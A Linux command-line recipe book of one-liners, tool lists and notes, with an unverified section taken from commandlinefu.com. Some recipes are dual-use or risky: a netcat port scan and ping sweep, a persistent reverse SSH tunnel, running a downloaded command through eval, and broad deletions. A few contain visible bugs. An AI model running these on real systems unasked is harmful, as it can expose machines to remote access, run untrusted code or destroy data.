* A death cow thinking in your fortune cookie
>> fortune -s -c -a | cowthink -d -W 45
* Find the cover image for an album
>> albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music');}
* random xkcd comic
>> display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')"
* Auto Rotate Cube (compiz)
>> wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0
* Matrix Style
>> LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
* read the useless use of cat awards page
>> lynx http://partmaps.org/era/unix/award.html
* dolphins on the desktop (compiz)
>> xwinwrap -ni -argb -fs -s -st -sp -nf -b -- /usr/libexec/xscreensaver/atlantis -count 20 -window-id WID &
* for all who don't have the watch command
>> watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date"; $2; sleep $1; done }
* Get Futurama quotations from slashdot.org servers
>> echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"
* View the newest xkcd comic.
>> xkcd(){ local f=$(curl -s http://xkcd.com/);display $(echo "$f"|grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)');echo "$f"|awk '/<img src="http:\/\/imgs\.xkcd\.com\/comics\/.*?" title=.*/{gsub(/^.*title=.|".*?$/,"");print}';}
* The absolutely fastest nth fibonacci number
>> time echo 'n=70332;m=(n+1)/2;a=0;b=1;i=0;while(m){e[i++]=m%2;m/=2};while(i--){c=a *a;a=c+2*a*b;b=c+b*b;if(e[i]){t=a;a+=b;b=t}};if(n%2)a*a+b*b;if(!n%2)a*( a+2*b)' | bc
* The 1 millionth fibonacci number
>> time echo 'n=1000000;m=(n+1)/2;a=0;b=1;i=0;while(m){e[i++]=m%2;m/=2};while(i--){c =a*a;a=c+2*a*b;b=c+b*b;if(e[i]){t=a;a+=b;b=t}};if(n%2)a*a+b*b;if(!n%2)a *(a+2*b)' | bc
* Another Matrix Style Implementation
>> echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done
* useless load
>> cat /dev/urandom | gzip -9 > /dev/null &
* Gets a random Futurama quote from /.
>> curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
* Get Futurama quotations from slashdot.org servers
>> lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//'
* put nothing nowhere
>> cat /dev/zero > /dev/null &
* Random line from bash.org (funny IRC quotes)
>> curl -s http://bash.org/?random1
* decode html entities with perl
>> perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'
ZSH
* Get length of array in zsh
>> $foo[(I)$foo[-1]]
* ZSH prompt. ':)' after program execution with no error, ':(' after
>> PROMPT=$'%{\e[0;32m%}%B[%b%{\e[0m%}%n%{\e[0;32m%}@%{\e[0m%}%(4c,./%1~,% ~)%{\e[0;32m%}%B]%b% %(?,%{\e[0;32m%}:%)%{\e[0m%},%{\e[0;31m%}:(%{\e[0m%}) %# '
* Show every subdirectory (zsh)
>> ls -ld **/*(/)
* Delete empty directories with zsh
>> rm -d **/*(/^F)
* Postpone a command [zsh]
>> <alt+q>
* zsh only: access a file when you don't know the path, if it is in
>> file =top
MAC OSX
This book focusses more on Linux but here is a little
information about OSX
* Enable Hibernate in OS X
>> sudo pmset -a hibernatemode 1
* On Mac OS X, runs System Profiler Report and e-mails it to
>> system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com
* Paste OS X clipboard contents to a file on a remote machine
>> pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'
* Throttling Bandwidth On A Mac
>> sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80
* OSX command to take badly formatted xml from the clipboard, cleans
>> pbpaste | tidy -xml -wrap 0 | pbcopy
* Paste the contents of OS X clipboard into a new text file
>> pbpaste > newfile.txt
* Zip a directory on Mac OS X and ignore .DS_Store (meta-data)
>> zip -vr example.zip example/ -x "*.DS_Store"
* Open up a man page as PDF (#OSX)
>> function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }
@@ http://www.sveinbjorn.org/cljg2macosx
a good macosx command line site
* on a bsd system view information about the folder structure
>> man hier
NEWSREADERS
@@ slrn
lightweight
@@ pan
graphical, good
@@ gnus
within emacs
@@ thunderbird
@@ xpn
graphical
@@ knode
the kde app
FILE USAGE
@@ filelight
shows disk usage in a graphical manner
@@ gadmin-rsync
a gui wrapper for rsync with ssh, scp etc
TERMINALS
@@ slugterm
light weight terminal for small linuxes
@@ grdc.sf.net
remote desktop for sys admins
GRAPHS
A simple pie chart in 'gnuplot' (and with a 3d thickness)
@@ freemind.sf.net
mind mapping charting software
WIKI
@@ docuwiki
a wiki with no database backend
MUSIC
@@ amarok
@@ songbird
music playlist software
@@ frescobaldi
create musical scores from a text input file. gui application
GPS
@@ gpx
an xml format for storing gps data
@@ prune
a tool for manipulating gps data
ART
@@ synfig studio
a program to create animations using stick figures,
paths etc.
@@ blender
3d animations
@@ wwww.pencil-animation.org
a tool for creating traditional drawn animation
@@ www.morevnaproject.org
an open source animation (anime)
GAMES
@@ www.schoolsplay.org
education games. a spelling pacman, flashcards etc
'childsplay'
@@ pyspace war
an asteroid shootem up
GAME ENGINES ....
@@ pygame
@@ sdl
@@ irrlicht.sf.net
an open source game engine, written in c++, with bindings
for other languages
GENEOLOGY
@@ gramps
gui geneology builder
BLOG ENGINES
@@ bilboblog
a simple blog engine
@@ lifeograph
simple diary application
JARGON
@@ easter egg
Is an unexpected function hidden in a piece of software
@@ Unix-style operating system,
This is an operating system which is somewhat 'unix-like'
an included Apple OSX, Linux, FreeBSD, etc
@@ Linux flavour, Linux Distribution
Linux comes in a number of different distributions, such as
Debian, Fedora, and Ubuntu to name only some of many.
@@ regular expression
A search pattern
@@ recursive
Recursive means to do an action for some object, and then
repeat the same action for all objects which that object
contains.
@@ concatenate
join together two or more things. For example join together
2 files with 'cat a.txt b.txt > c.txt'
@@ command line
@@ shell
A shell is a piece of software which allows you to communicate
with the computer by typing (rather cryptic) commands, and
watching the output of those commands. This book focusses on
the 'Bash' shell, which is probably the most popular shell
on Unix, Linux and Apple OsX.
@@ terminal
The terminal is a piece of software which allows you to use
the 'shell'. Examples are 'Konsole' for KDE
@@ program
A program is really just a piece of software which does
something on the computer.
NOTES AND IDEAS
This section should contain references to things which I
think would be worthwhile investigating but which I havent
and may well never get round to doing.
grsync. gimp thresholds. sea horse for encrypt
vnc and vino for remote control
Tweetdeck, bluefish, dropbox,
dialog, gdialog,
xxd - hexdumps
kompozer,
ORGANISATION
==
.. zim - note taker
.. tomboy - note taker
.. fzapper
..
DOCUMENT-NOTES:
# this section contains information about the document and
# will not normally be printed.
# a small icon image, filename relative to the "htdocs" folder
document-icon: /img/icon/linux-penguin.png
#
document-image:
# what sort of document is this
document-type: book
# in what kind of state (good or bad) is this document
document-quality: good
# when was this document last updated
last-revision: jan 2010
# a history of work on the document
document-history:
@@ 2009
document begun
@@ jan 2010 revision
@@ 5 jan 2010
incorporated rewritten recipes from dsl.org
@@ 8 jan 2010
got 4032 recipes from commandlinefu.com
@@ early jan 2010
more detailed enscript description. This enscript chapter
has now (april 2010) been moved to the 'linux-documentation-book.txt'
although a few enscript recipes remain.
@@ 24 jan 2010
added information about the 'halibut' and 'markdown' text
transformation systems.
@@ 25 jan 2010
removed a large quantity of unclassified recipes which had
been incorporated from 'commandlinefu.com'
@@ 26 march 2010
removed linux sound chapters into a separate book since it
was getting to big
@@ 27 march 2010
some general tidying up, classifying recipes. The task of
cleaning and verifying all the commandfu recipes is a
big one
@@ 30 march 2010
added some zenity info
@@ 2 april 2010
continuing with the rather overwhelming task of attempting
to analyse all the recipes from commandlinefu.com and
classify and weed them out.
@@ 21 april 2010
some tidying up. wrote a vim command (:Bsi) to create screenshots of
oneline commands and save them in the 'image' subfolder. Also the
':Bci' command just creates and displays a test image without saving it
into the image folder. When building with the 'booktolatex.sed',
'booktolatex.cgi' scripts, we still have the problem that right aligned
images 'push' the recipes out of alignment.
@@ 6 may 2010
a little clean up of the 'introduction to the command line'. I
had the idea of writing a 'culture shock' section for Microsoft
users who are coming to Linux.
# work that needs to be done on this document
to-do:
A great deal of work needs to be carried out
@@ enscript
reorganise the enscript recipes which came from the
linux cook-book.
#
# who wrote this
authors: mjb ~ http://bumble.sf.net
# a short description of the contents, possible used for doc lists
short-description: recipes for using linux from the command line
# a computer language used in the document (this helps latex pretty print)
code-language: bash
# the script which will be used to produce html (a webpage)
make-html: ./book-html.sh
# the script which will produce 'LaTeX' output (for printing, pdf etc)
make-latex:
# one liners which may be useful
# book-scripts:
* section and subsection headings can be viewed with
>> sed -n '/\.\{4\}$/s/^/ /;/^ *[[:upper:]]\{2\}[^[:lower:]]*$/p' book.txt
COMMAND FU NOTES
This section contains commands got from 'commandfu.com'
and not yet classified or analysed.
* Like top, but for files
>> watch -d -n 2 'df; ls -FlAt;'
* Quick case-insensitive partial filename search
>> alias lg='ls --color=always | grep --color=always -i'
* Watch the progress of 'dd'
>> dd if=/dev/urandom of=file.img bs=4KB& pid=$!
* Processor / memory bandwidthd? in GB/s
>> dd if=/dev/zero of=/dev/null bs=1M count=32768
* Share a terminal screen with others
>> % screen -r someuser/
* Show directories in the PATH, one per line
>> ( IFS=:; for p in $PATH; do echo $p; done )
* Tweak system files without invoking a root shell
>> echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg
* Look for IPv4 address in files.
>> alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"
* fuman, an alternative to the 'man' command that shows commandlinefu tips
>> fuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" | less; }
* Reconnect to screen without disconnecting other sessions
>> screen -xR
* Generate a binary file with all ones (0xff) in it
>> tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k
* Print stack trace of a core file without needing to enter gdb
>> alias gdbbt="gdb -q -n -ex bt -batch"
* Remove color codes (special characters) with sed
>> sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g
* calulate established tcp connection of local machine
>> netstat -an|grep -ci "tcp.*established"
* Using column to format a directory listing
>> (printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t
* Port scan a range of hosts with Netcat.
>> for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done
* calulate established tcp connection of local machine
>> netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}'
* To get internet connection information .
>> sudo /bin/netstat -tpee
* Copy via tar pipe while preserving file permissions
>> cp -pr olddirectory newdirectory
* Show GCC-generated optimization commands when using the
>> cc -march=native -E -v - </dev/null 2>&1 | grep cc1
* Show in a web server, running in the port 80, how many ESTABLISHED
>> netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
* Count all conections estabilished on gateway
>> cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#
* List programs with open ports and connections
>> netstat -ntauple
* Alternative size (human readable) of files and directories
>> du -ms * .[^.]*| sort -nk1
* Uniformly correct filenames in a directory
>> for i in *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done
* Get a shell with a not available account
>> su - <user> -s /bin/sh -c "/bin/sh"
* Size(k) of directories(Biggest first)
>> find . -depth -type d -exec du -s {} \; | sort -k1nr
* purge installed but unused linux headers, image, or modules
>> dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
* Sort lines using the Xth characted as the start of the sort string
>> sort -k1.x
* Poor man's nmap for a class C network from rfc1918
>> ( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u
* Random numbers with Ruby
>> ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"
* find listening ports by pid
>> lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'
* Lock your KDE4 remotely (via regular KDE lock)
>> DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &
* List last opened tabs in firefox browser
>> F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done
* Break lines after, for example 78 characters, but don't break
>> fold -w 78 -s file-to-wrap
* Function that counts recursively number of lines of all files in
>> count() { find $@ -type f -exec cat {} + | wc -l; }
* Go to the next sibling directory in alphabetical order, version 2
>> cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"
* find largest file in /var
>> find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more
* Show established network connections
>> lsof -i | grep -i estab
* Start screen with name and run command
>> screen -dmS "name_me" echo "hi"
* Replace Solaris vmstat numbers with human readable format
>> vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk
* Browse shared folder when you're the only Linux user
>> smbclient -U userbob //10.1.1.75/Shared
* connect to all screen instances running
>> screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done
* Use ImageMagick to get an image's properties
>> identify -ping imageName.png
* Show apps that use internet connection at the moment.
>> lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2
* send echo to socket network
>> echo "foo" > /dev/tcp/192.168.1.2/25
* Colorized grep in less
>> grep --color=always | less -R
* Search recursively to find a word or phrase in certain file
>> find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
* Recursively change permissions on files, leave directories alone.
>> find ./ -type f -exec chmod 644 {} \;
* ensure your ssh tunnel will always be up (add in crontab)
>> [[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &
* Download from Rapidshare Premium using wget - Part 1
>> wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null
* Recursively lists all files in the current directory, except the
>> find . -wholename './.snapshot' -prune -o -print
* Monitor Linux/MD RAID Rebuild
>> watch -n 5 -d cat /proc/mdstat
* memcache affinity: queries local memcached for stats, calculates
>> echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l
* nmap IP block and autogenerate comprehensive Nagios service
>> nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml -o /etc/nagios/10net.cfg
* Convert df command to posix; uber GREPable
>> df -P
* List top 20 IP from which TCP connection is in SYN_RECV state
>> netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20
* Show what a given user has open using lsof
>> lsof -u www-data
* show all programs connected or listening on a network port
>> alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'
* Show number of NIC's, ports per nic and PCI address
>> lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count) { printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }'
* locate bin, src, and man file for a command
>> whereis somecommand
* Display all readline bindings that use CTRL
>> bind -p | grep -F "\C"
* Synchronise a file from a remote server
>> rsync -av -e ssh user@host:/path/to/file.txt .
* Is it a terminal?
>> isatty(){ test -t $1; }
* create disk copy over the net without temp files
>> SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd)
* Write a listing of all directories and files on the computer to an archive
>> sudo ls -RFal / | gzip > all_files_list.txt.gz
* Collect a lot of icons from /usr/share/icons (may overwrite some,
>> mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons
* copy ACL of one file to another using getfacl and setfacl
>> getfacl <file-with-acl> | setfacl -f - <file-with-no-acl>
* determine if tcp port is open
>> nmap -p 80 hostname
* determine if tcp port is open
>> if (nc -zw2 www.example.com 80); then echo open; fi
* Strace all signals processes based on a name ( The processes
>> straceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; }
* last.fm rss parser
>> awk '/<link>/{gsub(/.*<link>|<\/link>.*/,"");print "<li><a href=\042"$0"\042> "t"</a>" } /<title>/{gsub(/.*<title>|<\/title>.*/,"");t=$0 }' file
* last.fm rss parser
>> egrep "<link>|<title>" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "</title>" '{print $2, $1}' | sed -e 's/\<link\>/\<li\>\<a href\=\"/' -e 's/\<\/link\>/\">/' -e 's/\<title\>//' -e 's/$/\<\/a\>\<\/li\>/g' -e '1,1d' -e 's/^[ \t]*//'
* Mount a partition from dd disk image
>> mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
* Sorted list of established destination connections
>> netstat | awk '/EST/{print $5}' | sort
* List all symbolic links in current directory
>> \ls -1 | xargs -l readlink
* remove files and directories with acces time older than a given
>> touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy
* Show sorted list of files with sizes more than 1MB in the current
>> du | sort -nr | cut -f2- | xargs du -hs
* exit if another instance is running
>> if [ `fuser $0|wc -w` -gt "1" ];then exit; fi
* convert wav files to ogg
>> oggenc *.wav
* Find files recursively that were updated in the last hour ignoring
>> find . -mmin -60 -not -path "*svn*" -print|more
* Clean your broken terminal
>> reset
* umount all nfs mounts on machine
>> mount | grep : | awk {'print $3'} | xargs sudo umount -v
* Get your external IP address with a random commandlinefu.com
>> IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/so rt-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"
* Counts number of lines (in source code excluding comments)
>> find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l
* Empty a file
>> truncate -s0 file
* grep -v with multiple patterns.
>> grep test somefile | grep -v -e error -e critical -e warning
* Set creation timestamp of a file to the creation timestamp of
>> touch -r "$FILE1" "$FILE2"
* Commit command to history file immedeately after execution
>> PROMPT_COMMAND="history -a"
* Make directories for and mount all iso files in a folder
>> for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`; done
* disk space email alert
>> [ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" admin@example.com
* Stop long commands wrapping around and over-writing itself in the
>> shopt -s checkwinsize
* download all the presentations from UTOSC2009
>> b="http://2009.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done
* Functions to display, save and restore $IFS
>> ifs () { echo -n "${IFS}"|hexdump -e '"" 10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"
* Schedule Nice Background Commands That Won't Die on Logout -
>> ( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 ) & )
* Go get those photos from a Picasa album
>> wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i -
* 32 bits or 64 bits?
>> sudo lshw -C cpu|grep width
* Show current pathname in title of terminal
>> export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'
* print all except first collumn
>> cut -f 2- -d " "
* Search for a string inside all files in the current directory
>> find . -type f -exec grep -i <pattern> \;
* Convert mp3/wav file to asterisk ulaw for music on hold (moh)
>> sox -v 0.125 -V <mp3.mp3> -t au -r 8000 -U -b -c 1 <ulaw.ulaw> resample -ql
* Find and display most recent files using find and perl
>> find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail
* create SQL-statements from textfile with awk
>> $ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt
* Send a local file via email
>> cat filename | mail -s "Email subject" user@example.com
* Track X Window events in chosen window
>> xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`
* Test file system performance
>> bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck>
* (Git) Revert files with changed mode, not content
>> git diff --numstat | awk '{if ($1 == "0" && $1 == "0") print $3}' | xargs git checkout HEAD
* Instant mirror from your laptop + webcam
>> mplayer tv:// -vf mirror
* Instant mirror from your laptop + webcam
>> cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f &
* Shorten any Url using bit.ly API, using your API Key which
>> curl "http://api.bit.ly/shorten?version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHO RTENED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOUR_API_KEY>"
* Archive all SVN repositories in platform indepenent form
>> budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm -rf $budir;done
* preprocess code to be posted in comments on this site
>> sed 's/^/$ /' "$script" | xclip
* send echo to socket network
>> echo foo | netcat 192.168.1.2 25
* Display the standard deviation of a column of numbers with awk
>> awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }'
* Compute running average for a column of numbers
>> awk '{avg += ($1 - avg) / NR;} END { print avg; }'
* Route outbound SMTP connections through a addtional IP address
>> iptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH
* Check if x509 certificate file and rsa private key match
>> diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key )
* clone ide hard disk
>> sudo dd if=/dev/hda1 of=/dev/hdb2
* Update Ping.fm status
>> curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post
* Send a signed and encrypted email from the command line
>> echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM
* fetch all revisions of a specific file in an SVN repository
>> svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
* Ultimate current directory usage command
>> du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done
* Reinstall Grub
>> sudo grub-install --recheck /dev/sda1
xxhere
* dstat- this command is powerful one to monitor system activity .
>> dstat -afv
* Search for an active process without catching the search-process
>> ps -ef | awk '/process-name/ && !/awk/ {print}'
* Replace Every occurrence of a word in a file
>> perl -p -i -e 's/this/that/g' filename
* Get a list of all your VirtualBox virtual machines by name and
>> VBoxManage list vms
* run a VirtualBox virtual machine without a gui
>> VBoxHeadless -s <name|uuid>
* Start a command on only one CPU core
>> taskset -c 0 your_command
* Resume an emerge, and keep all object files that are already
>> FEATURES=keepwork emerge --resume
* Synchronize both your system clock and hardware clock and
>> ntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust
* 'Fix' a typescript file created by the 'script' program to remove
>> cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed
* Replace all tabs with spaces in an application
>> grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/ /g'
* Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)
>> Type "c-a b" in gnu screen after updating your .screenrc (See Description below).
* using scanner device from command line
>> scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm
* Make a directory named with the current date
>> mkdir `date --iso`
* Duplicating service runlevel configurations from one server to
>> chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'
* Validate and pretty-print JSON expressions.
>> echo '{"json":"obj"}' | python -m simplejson.tool
* Find and delete oldest file of specific types in directory tree
>> find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 | cut -d" " -f8- | tr -d '\n' | xargs -0 rm
* Remove all backup files in my home directory
>> find ~user/ -name "*~" -exec rm {} \;
* Get an IP address out of fail2ban jail
>> iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP
* Safe Delete
>> shred -n33 -zx file; rm file
* Search for files older than 30 days in a directory and list only
>> find /var/www/html/ -type f -mtime +30 -exec basename {} \;
* Working random fact generator
>> lynx -dump randomfunfacts.com | grep -A 3 U | sed 1D
* Mac OS X: Change Color of the ls Command
>> export LSCOLORS=gxfxcxdxbxegedabagacad
* split source code to page with numbers
>> pr -l 40 bitree.c > printcode; split -40 printcode -d page_
* Pick a random image from a directory (and subdirectories) every
>> while true; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)"; sleep 30m; done
* Change wallpaper for xfce4 >= 4.6.0
>> xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file>
* Prevent non-root users from logging in
>> touch /etc/nologin
* Display time of accounts connection on a system
>> ac -p
* Change Gnome wallpaper
>> gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_image>
* Clone current directory into /destination verbosely
>> find . | cpio -pumdv /destination
* Mount a disk image (dmg) file in Mac OSX
>> hdiutil attach somefile.dmg
* Connect to all running screen instances
>> for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal -e "screen -x $i"; done
* compare two Microsoft Word documents
>> meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)
* Mount important virtual system directories under chroot'ed
>> for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done
* Set Time Zone in Ubuntu
>> sudo dpkg-reconfigure tzdata
* Summarise the size of all files matching a simple regex
>> find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'
* Root shell
>> sudo -i
* Remove all hidden files in a directory
>> rm -r .??*
* Prints any IP out of a file
>> perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt
* Dump HTTP header using wget
>> wget --server-response --spider http://www.example.com/
* backup your entire hosted website using cPanel backup interface
>> wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz
* Copy input sent to a command to stderr
>> rev <<< 'lorem ipsum' | tee /dev/stderr | rev
* create a simple version of ls with extended output
>> alias l='ls -CFlash'
* Make info pages much less painful
>> pinfo date
* print battery , thermal , and cooling info
>> acpi -tc
* View a man page on a nice interface
>> yelp man:foo
* Emptying a text file in one shot
>> :1,$d
* find an unused unprivileged TCP port
>> netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'
* Change files case, without modify directories, recursively
>> find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+
* force unsupported i386 commands to work on amd64
>> setarch i386 [command [args]]
* Combine all .mpeg files in current directory into one big one.
>> cat *.mpg > all.mpg
* Output system statistics every 5 seconds with timestamp
>> while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done
* Tail a log file with long lines truncated
>> tail -f logfile.log | cut -b 1-80
* Spell check the text in clipboard (paste the corrected clipboard
